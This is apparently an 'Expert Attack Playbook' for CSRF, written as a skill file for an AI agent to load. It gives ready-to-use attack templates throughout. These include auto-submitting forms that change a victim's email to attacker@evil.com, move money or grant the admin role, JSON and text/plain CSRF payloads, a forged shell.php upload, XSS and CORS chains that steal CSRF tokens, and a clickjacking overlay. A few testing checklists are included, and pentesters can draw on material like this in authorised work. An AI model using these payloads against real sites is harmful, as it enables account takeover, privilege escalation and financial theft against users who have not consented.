csrf-cross-site-request-forgery（csrf 跨站请求伪造）

SKILL: CSRF — Cross-Site Request Forgery — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert CSRF techniques. Covers modern bypass vectors (SameSite gaps, custom header flaws, tokenless bypass patterns), JSON CSRF, multipart CSRF, chaining with XSS. Base models often present only basic CSRF without covering SameSite edge cases and common broken token implementations.

0. RELATED ROUTING

Also load:

• cors cross origin misconfiguration when JSON endpoints become readable cross-origin
• oauth oidc misconfiguration when login, account linking, or callback binding relies on OAuth state

1. CORE CONCEPT

CSRF exploits a victim's active session to perform state-changing requests from the attacker's origin.

Required conditions:

1. Victim is authenticated (active session cookie)
2. Server identifies session via cookie only (no secondary check)
3. Attacker can predict/construct the valid request
4. Cookie is sent cross-origin (SameSite=None or legacy behavior)

2. FINDING CSRF TARGETS

High-value state-changing endpoints:

- Password change         ← account takeover
- Email change            ← account takeover
- Add admin / change role ← privilege escalation
- Bank/payment transfer   ← financial impact
- OAuth app authorization ← hijack oauth flow
- Account deletion
- Two-factor auth disable
- SSH key / API key addition
- Webhook configuration
- Profile/contact info update

3. TOKEN BYPASS TECHNIQUES

No Token Present

Simplest case — form simply lacks CSRF token. Check if POST /change-email has any token. If not → trivially exploitable.

Token Not Validated (most common finding!)

Token exists in request but is never verified server-side:

Remove the _csrf_token parameter entirely → does request still succeed?
→ YES → trivial bypass

Token Tied to Session but Not to User

Step 1: Log in as UserA → obtain valid CSRF token
Step 2: Log in as UserB in other browser → obtain UserB CSRF token
Step 3: Use UserB's CSRF token in UserA's session (attacker controls UserB)
→ If server validates token exists but doesn't check if it belongs to the session → bypass

Token in Cookie Only

When server sets CSRF token as cookie and expects it back in a header/form:

Set-Cookie: csrf=ATTACKER_CONTROLLED
→ If cookie can be set by subdomain (cookie tossing): set cookie to known value
→ Submit form with known token in header + known token in cookie = bypass

Static or Predictable Token

→ Same token across all users/sessions
→ Token = base64(username) or md5(session_id) → reversible
→ Token = timestamp → predictable

Double Submit Cookie Pattern (broken if subdomain trusted)

If attacker can write cookies for .target.com from subdomain XSS or cookie tossing:
→ Set csrf_cookie=CONTROLLED on .target.com
→ Submit request with X-CSRF-Token: CONTROLLED
→ Server checks header == cookie → match → bypass

4. SAMESITE BYPASS SCENARIOS

SameSite=Lax (modern browser default): cookies sent for top-level GET navigation, NOT for cross-site iframe/form POST.

Bypass SameSite=Lax via GET method:

<!-- If server accepts GET for state-changing endpoint: -->
<img src="https://target.com/account/delete?confirm=yes">
<script>document.location = 'https://target.com/transfer?to=attacker&amount=1000';</script>

Bypass via subdomain XSS (SameSite Lax/Strict):

// XSS on sub.target.com → same-site origin → SameSite cookies sent!
// Use XSS as staging point for CSRF
window.location = 'https://target.com/account/modify?evil=true';

SameSite=None (legacy or explicit): cookies sent everywhere → classic CSRF applies.

Cookie issued recently? Lax exemption: Chrome has a 2-minute exception where Lax cookies ARE sent on cross-site POSTs if the cookie was just set (for OAuth flows). Race window: set cookie, immediately trigger CSRF within 2 minutes.

5. CSRF PROOF OF CONCEPT TEMPLATES

Simple Form POST

<html>
<body>
<form id="csrf" action="https://target.com/account/email/change" method="POST">
  <input type="hidden" name="email" value="attacker@evil.com">
  <input type="hidden" name="confirm_email" value="attacker@evil.com">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Auto-click Submit

<body onload="document.forms[0].submit()">
<form action="https://target.com/transfer" method="POST">
  <input name="to" value="attacker_account">
  <input name="amount" value="10000">
</form>
</body>

CSRF via GET (with img tag)

<img src="https://target.com/api/v1/admin/delete-user?id=12345" style="display:none">

CSRF with Custom Header (XMLHttpRequest — same-origin only, defeats naive defenses)

If API requires custom header like X-CSRF-Token but also accepts JSON with wildcard CORS — custom headers don't protect if CORS misconfigured:

// If Access-Control-Allow-Origin: * with credentials → broken
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/transfer");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;  // still need cookie sending
xhr.send('{"to":"attacker","amount":1000}');

6. JSON CSRF

When endpoint accepts Content-Type: application/json — fetch() with CORS credentials:

// If CORS allows credentials + the endpoint:
fetch('https://target.com/api/v1/change-email', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: 'attacker@evil.com'})
});

Requires: Access-Control-Allow-Origin: https://attacker.com AND Access-Control-Allow-Credentials: true

If server only accepts application/json but no fetch CORS: Can't do proper JSON CSRF from HTML form (forms can only send application/x-www-form-urlencoded, multipart/form-data, text/plain).

Trick — Content-Type Downgrade: If server processes text/plain body as JSON:

<form enctype="text/plain" method="POST" action="https://target.com/api">
  <input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>

Resulting body: {"email":"attacker@evil.com","ignore":"="}

7. MULTIPART CSRF

When changing Content-Type from application/json to multipart/form-data and request still works:

<form method="POST" action="https://target.com/api/update" enctype="multipart/form-data">
  <input name="email" value="attacker@evil.com">
</form>

8. CSRF + XSS COMBINATION (CSRF Token Bypass)

When CSRF protection is otherwise solid, XSS enables CSRF bypass:

// Step 1: XSS reads CSRF token from DOM
var token = document.querySelector('input[name="csrf_token"]').value;
// Step 2: Submit CSRF request with real token
var xhr = new XMLHttpRequest();
xhr.open('POST', '/account/delete', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('confirm=yes&csrf_token=' + token);

9. OAUTH CSRF (STATE PARAMETER MISSING)

OAuth flow without state parameter → CSRF on the OAuth authorization:

Attack:

1. Attacker initiates OAuth flow, gets authorization code
2. Before exchanging code, stops the flow (captures the redirect URL with code)
3. Sends victim the crafted URL: https://target.com/oauth/callback?code=ATTACKER_CODE
4. Victim's browser exchanges the attacker's code → victim's account linked to attacker's OAuth provider

Impact: Attacker can log in as victim.

10. CSRF TESTING CHECKLIST

□ Remove CSRF token entirely → does request succeed?
□ Change CSRF token to random value → does request succeed?
□ Use CSRF token from another user's session → does request succeed?
□ Check if GET version of POST endpoint exists
□ Check SameSite attribute of session cookie
□ Test if Content-Type change (json → form → text/plain) still processes
□ Check CORS policy: does Access-Control-Allow-Credentials: true appear?
   With wildcard or attacker origin? → exploitable JSON CSRF
□ Check OAuth flows for missing state parameter
□ Test referrer-based protection: send request with no Referer header
□ Test referrer-based protection: spoof subdomain in referer

11. JSON CSRF TECHNIQUES

Method 1: text/plain Disguise

<!-- Browser sends Content-Type: text/plain with JSON-like body -->
<form action="https://target.com/api/role" method="POST" enctype="text/plain">
  <input name='{"role":"admin","ignore":"' value='"}' type="hidden">
  <input type="submit" value="Click me">
</form>
<!-- Resulting body: {"role":"admin","ignore":"="} -->
<!-- Server may parse as JSON if it doesn't strictly check Content-Type -->

Method 2: XHR with Credentials

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/role", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send('{"role":"admin"}');
</script>
<!-- Only works if CORS allows the origin (misconfigured CORS + CSRF combo) -->

Method 3: fetch() API

<script>
fetch("https://target.com/api/role", {
  method: "POST",
  credentials: "include",
  headers: {"Content-Type": "text/plain"},
  body: '{"role":"admin"}'
});
</script>

12. MULTIPART CSRF & CLIENT-SIDE PATH TRAVERSAL

Multipart File Upload CSRF

<script>
var formData = new FormData();
formData.append("file", new Blob(["malicious content"], {type: "text/plain"}), "shell.php");
formData.append("action", "upload");

fetch("https://target.com/upload", {
  method: "POST",
  credentials: "include",
  body: formData
});
</script>

Client-Side Path Traversal to CSRF (CSPT2CSRF)

Normal flow: Frontend fetches /api/user/PROFILE_ID/settings
Attack: Set PROFILE_ID to ../../admin/dangerous-action

Result: Frontend's fetch() hits /api/admin/dangerous-action with victim's cookies
This converts a path traversal into a CSRF-like attack without needing a CSRF token

13. SAMESITE=LAX ADVANCED BYPASS TECHNIQUES

13.1 Top-level navigation via window.open() (2-minute window)

Chrome's Lax+POST exception: cookies with SameSite=Lax are sent on cross-site POST requests if the cookie was set within the last 2 minutes (exists for OAuth flows).

// Attacker page: trigger login to set a fresh cookie, then immediately CSRF
// Step 1: Force victim to visit target (sets fresh session cookie)
window.open('https://target.com/login');
// Step 2: Within 2 minutes, POST to state-changing endpoint
setTimeout(() => {
    const form = document.createElement('form');
    form.method = 'POST';
    form.action = 'https://target.com/account/change-email';
    form.innerHTML = '<input name="email" value="attacker@evil.com">';
    document.body.appendChild(form);
    form.submit();
}, 5000);

13.2 302 redirect chain from attacker site

Lax cookies are sent on top-level GET navigations. A redirect chain converts GET into action:

1. Attacker page → 302 redirect to https://target.com/transfer?to=attacker&amount=1000
2. Browser follows redirect as top-level navigation → Lax cookies sent
3. If target accepts GET for state-changing operations → CSRF succeeds

13.3 Method override: POST disguised as GET

Many frameworks support method override via _method parameter:

GET /account/delete?_method=DELETE&confirm=yes HTTP/1.1
GET /transfer?_method=POST&to=attacker&amount=1000 HTTP/1.1

Headers that trigger method override:

X-HTTP-Method-Override: POST
X-Method-Override: DELETE
_method=PUT (Rails, Laravel, Symfony)

SameSite=Lax allows the GET → framework processes it as POST/DELETE via override → CSRF on "POST-only" endpoints.

14. ADVANCED JSON CSRF TECHNIQUES

14.1 Flash-based Content-Type manipulation (legacy)

Flash (pre-2021) could send arbitrary Content-Type headers cross-origin without preflight:

var req:URLRequest = new URLRequest("https://target.com/api/role");
req.method = "POST";
req.contentType = "application/json";
req.data = '{"role":"admin"}';
navigateToURL(req);

Legacy but still relevant for older internal applications.

14.2 fetch() no-cors mode limitations and workarounds

fetch() in no-cors mode can send simple requests but cannot set Content-Type: application/json (triggers preflight) or read the response.

Workaround — if the server accepts text/plain body and parses it as JSON:

fetch('https://target.com/api/role', {
    method: 'POST',
    mode: 'no-cors',
    credentials: 'include',
    headers: {'Content-Type': 'text/plain'},
    body: '{"role":"admin"}'
});

14.3 Encoding JSON as form-urlencoded

Some backends accept both content types:

<form action="https://target.com/api/role" method="POST">
  <input name="role" value="admin">
  <input name="user_id" value="123">
</form>

If the server processes role=admin&user_id=123 the same as {"role":"admin","user_id":123} → CSRF via plain HTML form without CORS preflight.

15. CSRF + CORS MISCONFIGURATION CHAINS

Reflected Origin + Credentials

1. Target API reflects Origin in Access-Control-Allow-Origin
2. Access-Control-Allow-Credentials: true
3. Attacker page sends credentialed fetch() from https://evil.com
4. Response is readable → CSRF token extracted from response
5. Second request with valid CSRF token → bypass all CSRF defenses

fetch('https://target.com/api/profile', {credentials: 'include'})
  .then(r => r.json())
  .then(data => {
      fetch('https://target.com/api/change-email', {
          method: 'POST',
          credentials: 'include',
          headers: {
              'Content-Type': 'application/json',
              'X-CSRF-Token': data.csrf_token
          },
          body: JSON.stringify({email: 'attacker@evil.com'})
      });
  });

Subdomain XSS → CORS → CSRF

If *.target.com is in the CORS allowlist and an XSS exists on any subdomain:

1. Exploit XSS on blog.target.com
2. From XSS context, fetch API at api.target.com (CORS allows subdomain)
3. Read CSRF token from response
4. Submit state-changing request with valid token

16. CSRF TOKEN FIXATION (PRE-SESSION TOKENS)

If CSRF tokens are issued before authentication and remain valid after login:

1. Attacker visits target.com → receives CSRF token T1
2. Attacker forces victim's browser to use T1:
   a. Cookie tossing from subdomain
   b. CRLF injection to set csrf_cookie
3. Victim logs in — CSRF token unchanged
4. Attacker submits CSRF request with known T1 → succeeds

Test procedure

□ Obtain CSRF token as unauthenticated user
□ Log in — does the CSRF token change?
□ If unchanged → token fixation: pre-auth token works post-auth
□ Use pre-auth token in a CSRF PoC against authenticated endpoint

17. CLICKJACKING AS CSRF BYPASS

When CSRF protections are solid but X-Frame-Options / frame-ancestors is missing:

Attack flow

1. Target page is frameable (no X-Frame-Options / CSP frame-ancestors)
2. Attacker creates transparent iframe overlay
3. Victim sees attacker content, clicks land on target's action button in hidden iframe
4. Click originates from same origin (within iframe) — bypasses CSRF tokens

PoC template

<html>
<body>
<div style="position:relative">
  <iframe src="https://target.com/account/settings"
    style="opacity:0.0001; position:absolute; top:0; left:0;
           width:500px; height:500px; z-index:2;">
  </iframe>
  <button style="position:absolute; top:250px; left:200px; z-index:1;
                 padding:20px; font-size:24px;">
    Click to claim prize!
  </button>
</div>
</body>
</html>

Defense check

□ X-Frame-Options: DENY or SAMEORIGIN header present?
□ CSP: frame-ancestors 'self' or frame-ancestors 'none'?
□ If neither → clickjacking possible → CSRF bypass via iframe